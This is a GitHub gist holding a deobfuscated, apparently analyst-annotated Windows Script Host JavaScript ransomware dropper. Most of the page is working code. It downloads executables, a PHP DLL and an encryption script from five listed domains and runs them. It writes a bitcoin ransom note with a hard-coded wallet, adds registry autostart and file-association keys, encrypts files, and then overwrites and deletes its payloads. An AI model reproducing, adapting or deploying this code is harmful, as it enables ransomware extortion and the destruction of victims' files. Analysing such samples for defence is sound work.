Create a gist now

Instantly share code, notes, and snippets.

var id = "Y5p7zaaqRhRlNYBz_pMZrg2yIOcgUIF8R8Jybsj09Rce3g_o9lFse8kVCY1DhTtJSwXyWUVLkTEf4aQEFNacqNFRsufa";
var ad = "17DmGrhMXJcvsmj9tihgTRGAhACynuBmSo";
var bc = "0.47802";
var ld = 0;
var cq = String.fromCharCode(34); // quote (")
var cs = String.fromCharCode(92); // backslash (\)
var ll = ["wallpaperswithquotes.com", "pervaya-kniga.ru", "mt-r.ru", "fotomi.ru", "netricktraining.com"];
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a"; // C:\Users\username\AppData\Local\Temp\a
var pd = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "php4ts.dll"; // C:\Users\username\AppData\Local\Temp\php4ts.dll
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var fo = WScript.CreateObject("Scripting.FileSystemObject");
if (!fo.FileExists(fn + ".txt")) { // C:\Users\username\AppData\Local\Temp\a.txt
for (var n = 1; n <= 5; n++) {
for (var i = ld; i < ll.length; i++) {
var dn = 0;
try {
xo.open("GET", "http://" + ll[i] + "/counter/?ad=" + ad + "&id=" + id + "&rnd=" + i + n, false);
xo.send();
if (xo.status == 200) {
xa.open();
xa.type = 1;
xa.write(xo.responseBody);
if (xa.size > 1000) {
dn = 1;
if (n <= 2) {
xa.saveToFile(fn + n + ".exe", 2); // ...\Temp\a1.exe and ...\Temp\a2.exe
try {
ws.Run(fn + n + ".exe", 1, 0); // Try to run it immediately
} catch (er) {
};
} else if (n == 3) {
xa.saveToFile(fn + ".exe", 2); // ...\Temp\a.exe (php.exe)
} else if (n == 4) {
xa.saveToFile(pd, 2); // ...\Temp\php4ts.dll
} else if (n == 5) {
xa.saveToFile(fn + ".php", 2); // ...\Temp\a.php
}
};
xa.close();
};
if (dn == 1) {
ld = i; // remember working download server (to not have to try all again)
break; // don't check further servers, skip to next file
};
} catch (er) {
};
};
};
if (fo.FileExists(fn + ".exe") && fo.FileExists(pd) && fo.FileExists(fn + ".php")) { // check for PHP files (runtime+script)
var fp = fo.CreateTextFile(fn + ".txt", true);
fp.WriteLine("ATTENTION!");
fp.WriteLine("");
fp.WriteLine("All your documents, photos, databases and other important personal files");
fp.WriteLine("were encrypted using strong RSA-1024 algorithm with a unique key.");
fp.WriteLine("To restore your files you have to pay " + bc + " BTC (bitcoins).");
fp.WriteLine("Please follow this manual:");
fp.WriteLine("");
fp.WriteLine("1. Create Bitcoin wallet here:");
fp.WriteLine("");
fp.WriteLine(" https://blockchain.info/wallet/new");
fp.WriteLine("");
fp.WriteLine("2. Buy " + bc + " BTC with cash, using search here:");
fp.WriteLine("");
fp.WriteLine(" https://localbitcoins.com/buy_bitcoins");
fp.WriteLine("");
fp.WriteLine("3. Send " + bc + " BTC to this Bitcoin address:");
fp.WriteLine("");
fp.WriteLine(" " + ad);
fp.WriteLine("");
fp.WriteLine("4. Open one of the following links in your browser to download decryptor:");
fp.WriteLine("");
for (var i = 0; i < ll.length; i++) {
fp.WriteLine(" http://" + ll[i] + "/counter/?a=" + ad);
};
fp.WriteLine("");
fp.WriteLine("5. Run decryptor to restore your files.");
fp.WriteLine("");
fp.WriteLine("PLEASE REMEMBER:");
fp.WriteLine("");
fp.WriteLine(" - If you do not pay in 3 days YOU LOOSE ALL YOUR FILES.");
fp.WriteLine(" - Nobody can help you except us.");
fp.WriteLine(" - It`s useless to reinstall Windows, update antivirus software, etc.");
fp.WriteLine(" - Your files can be decrypted only after you make payment.");
fp.WriteLine(" - You can find this manual on your desktop (DECRYPT.txt).");
fp.Close();
// Register autostart to display text file after login
ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCU" + cs + "SOFTWARE" + cs + "Microsoft" + cs + "Windows" + cs + "CurrentVersion" + cs + "Run" + cq + " /V " + cq + "Crypted" + cq + " /t REG_SZ /F /D " + cq + fn + ".txt" + cq, 0, 0);
// Register extension .crypted to display text file on double-click
ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCR" + cs + ".crypted" + cq + " /ve /t REG_SZ /F /D " + cq + "Crypted" + cq, 0, 0);
ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCR" + cs + "Crypted" + cs + "shell" + cs + "open" + cs + "command" + cq + " /ve /t REG_SZ /F /D " + cq + "notepad.exe " + cs + cq + fn + ".txt" + cs + cq + cq, 0, 0);
// Copy text file to DECRYPT.txt on Desktop
ws.Run("%COMSPEC% /c copy /y " + cq + fn + ".txt" + cq + " " + cq + "%AppData%" + cs + "Desktop" + cs + "DECRYPT.txt" + cq, 0, 0);
ws.Run("%COMSPEC% /c copy /y " + cq + fn + ".txt" + cq + " " + cq + "%UserProfile%" + cs + "Desktop" + cs + "DECRYPT.txt" + cq, 0, 0);
// Run the PHP script (which does the encryption)
ws.Run("%COMSPEC% /c " + fn + ".exe " + cq + fn + ".php" + cq, 0, 1);
// Display the text file
ws.Run("%COMSPEC% /c notepad.exe " + cq + fn + ".txt" + cq, 0, 0);
// Overwrite PHP script with "17DmGrhMXJcvsmj9tihgTRGAhACynuBmSo" (probably random), so it can't be undeleted
var fp = fo.CreateTextFile(fn + ".php", true);
for (var i = 0; i < 1000; i++) {
fp.WriteLine(ad);
};
fp.Close();
// Delete PHP files
ws.Run("%COMSPEC% /c DEL " + cq + fn + ".php" + cq, 0, 0);
ws.Run("%COMSPEC% /c DEL " + cq + fn + ".exe" + cq, 0, 0);
ws.Run("%COMSPEC% /c DEL " + cq + pd + cq, 0, 0);
};
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment